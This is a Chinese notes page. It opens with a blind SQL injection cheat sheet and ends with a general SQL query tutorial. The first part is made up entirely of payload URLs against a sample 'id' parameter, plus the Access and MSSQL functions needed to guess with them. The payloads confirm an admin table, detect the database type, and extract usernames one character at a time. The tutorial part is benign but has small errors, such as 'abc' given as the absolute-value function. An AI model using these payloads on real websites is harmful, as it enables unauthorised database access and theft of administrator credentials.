http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的

http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID

http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库

http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100  and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access：asc(字符)　SQLServer：unicode(字符)
作用：返回某字符的ASCII码

Access：chr(数字)　SQLServer：nchar(数字)
作用：与asc相反，根据ASCII码返回字符

Access：mid(字符串,N,L)　SQLServer：substring(字符串,N,L)
作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串

Access：abc(数字)　SQLServer：abc (数字)
作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C　SQLServer：A between B And C
作用：判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)

1.在查询结果中显示列名：
a.用as关键字：select name as '姓名'   from students order by age
b.直接表示：select name '姓名'   from students order by age

2.精确查找:
a.用in限定范围：select * from students where native in ('湖南', '四川')
b.between...and：select * from students where age between 20 and 30
c.“=”：select * from students where name = '李山'
d.like:select * from students where name  like  '李%' (注意查询条件中有“%”，则说明是部分匹配，而且还有先后信息在里面，即查找以“李”开头的匹配项。所以若查询有“李”的所有对象，应该命令：'%李%';若是第二个字为李，则应为'_李%'或'_李'或'_李_'。)
e.[]匹配检查符：select * from courses where cno like '[AC]%' (表示或的关系，与"in(...)"类似，而且"[]"可以表示范围，如：select * from courses where cno like '[A-C]%')

3.对于时间类型变量的处理
a.smalldatetime：直接按照字符串处理的方式进行处理，例如：select * from students where birth > = '1980-1-1'  and birth <= '1980-12-31'

4.集函数
a.count()求和，如：select count(*)  from students (求学生总人数)
b.avg(列)求平均，如：select avg(mark)  from grades where cno=’B2’
c.max(列)和min(列)，求最大与最小

5.分组group
常用于统计时，如分组查总数：select gender,count(sno) from students group by gender(查看男女学生各有多少)
注意：从哪种角度分组就从哪列"group by"
对于多重分组，只需将分组规则罗列。比如查询各届各专业的男女同学人数 ，那么分组规则有：届别(grade)、专业(mno)和
性别(gender)，所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group还和having联用，比如查询1门课以上不及格的学生，则按学号(sno)分类有：
select sno,count(*) from grades where mark<60 group by sno having count(*)>1

6.UNION联合
合并查询结果，如：
SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

7.多表查询
a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON  g.cno=c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno
左连接特点：显示全部左边表中的所有项目，即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行，再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2  where c1.pno=c2.cno
采用别名解决问题。
d.交*连接
select lastname+firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积

8.嵌套查询
a.用关键字IN,如查询猪猪山的同乡：
select  *  from students where  native  in  (select native from students where name=’猪猪’)
b.使用关键字EXIST,比如，下面两句是等价的：
select * from students where sno in (select sno from grades where cno=’B2’)

select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

9.关于排序order
a.对于排序order，有两种方法：asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列，而且这项可用数字表示，如：
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他
a.对于有空格的识别名称，应该用"[]"括住。
b.对于某列中没有数据的特定查询可以用null判断，如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别，any相当于逻辑运算“||”而all则相当于逻辑运算“&&”
d.注意在做否定意义的查询是小心进入陷阱：
如，没有选修‘B2’课程的学生 ：
select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’                 
上面的查询方式是错误的，正确方式见下方：
select * from students where not exists  (select * from grades where grades.sno=students.sno AND cno='B2')

11.关于有难度多重嵌套查询的解决思想：如，选修了全部课程的学生：
select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))
最外一重：从学生表中选，排除那些有课没选的。用not exist。由于讨论对象是课程，所以第二重查询从course表中找，排除那些选了课的即可。